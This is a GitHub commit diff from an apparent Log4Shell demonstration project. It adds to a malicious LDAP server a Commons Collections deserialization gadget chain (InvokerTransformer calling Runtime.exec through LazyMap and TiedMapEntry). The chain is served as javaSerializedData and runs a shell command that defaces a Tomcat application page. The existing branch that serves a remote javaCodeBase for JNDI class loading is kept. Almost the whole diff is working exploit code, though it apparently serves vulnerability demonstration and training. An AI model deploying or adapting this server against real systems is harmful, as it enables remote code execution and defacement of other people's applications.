Skip to content

Commit

Permalink
add secondary command to LDAP server. This creates an attack based de…
Browse files Browse the repository at this point in the history
…serialization of the commons collection library. This RCE works on all Java versions
  • Loading branch information
bmvermeer committed Jan 6, 2022
1 parent 4e4ca88 commit 4625d86
Show file tree
Hide file tree
Showing 2 changed files with 89 additions and 26 deletions.
43 changes: 33 additions & 10 deletions log4shell-goof/log4shell-server/pom.xml
Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,7 @@
<groupId>io.snyk</groupId>
<artifactId>log4shell-server</artifactId>
<version>0.0.1-SNAPSHOT</version>
<packaging>jar</packaging>

<name>Java Goof :: Log4Shell Goof :: Log4Shell Server</name>
<url>https://snyk.io</url>
Expand All @@ -31,21 +32,42 @@
<artifactId>undertow-core</artifactId>
<version>2.2.13.Final</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-lang3</artifactId>
<version>3.11</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<configuration>
<archive>
<manifest>
<mainClass>Server</mainClass>
</manifest>
</archive>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
</configuration>
<executions>
<execution>
<phase>package</phase>
<goals>
<goal>single</goal>
</goals>
<configuration>
<archive>
<manifest>
<mainClass>
Server
</mainClass>
</manifest>
</archive>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
</configuration>
</execution>
</executions>
</plugin>
<plugin>
<groupId>org.codehaus.mojo</groupId>
Expand All @@ -57,5 +79,6 @@
</configuration>
</plugin>
</plugins>

</build>
</project>
72 changes: 56 additions & 16 deletions log4shell-goof/log4shell-server/src/main/java/Server.java
Original file line number Diff line number Diff line change
Expand Up @@ -7,8 +7,17 @@
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import io.undertow.Undertow;
import io.undertow.util.Headers;
import org.apache.commons.lang3.SerializationUtils;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
Expand All @@ -21,6 +30,8 @@
import java.net.URL;
import java.net.UnknownHostException;
import java.nio.ByteBuffer;
import java.util.HashMap;
import java.util.Map;

public class Server {
private static final String LDAP_BASE = "dc=example,dc=com" ;
Expand Down Expand Up @@ -100,7 +111,6 @@ public OperationInterceptor(URL cb) {
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry entry = new Entry(base);

try {
sendResult(result, base, entry);
} catch (LDAPException | MalformedURLException e) {
Expand All @@ -111,21 +121,51 @@ public void processSearchResult(InMemoryInterceptedSearchResult result) {
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e)
throws LDAPException, MalformedURLException
{
URL turl = new URL(
this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")
);
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if (refPos > 0) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
System.out.println("Base = " + base);
if (base.equals("Commons")) {
//deserialization attack chain in commons collections
System.out.println("Send LDAP reference result for " + base + " containing a deserialized chain");

String[] command = {
"/bin/sh",
"-c",
"echo '<center><h1>Nice container you have, I think I will move in!</h1></center>' >> /usr/local/tomcat/webapps/todolist/WEB-INF/views/common/header.jspf"};

final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String[].class }, new Object[] {command})
};
final Transformer transformerChain = new ChainedTransformer(transformers);

final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

e.addAttribute("javaClassName", "foo");
e.addAttribute("javaSerializedData", SerializationUtils.serialize(entry));
e.addAttribute("objectClass", "javaNamingReference");

result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} else {
URL turl = new URL(
this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")
);
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if (refPos > 0) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
}

0 comments on commit 4625d86

Please sign in to comment.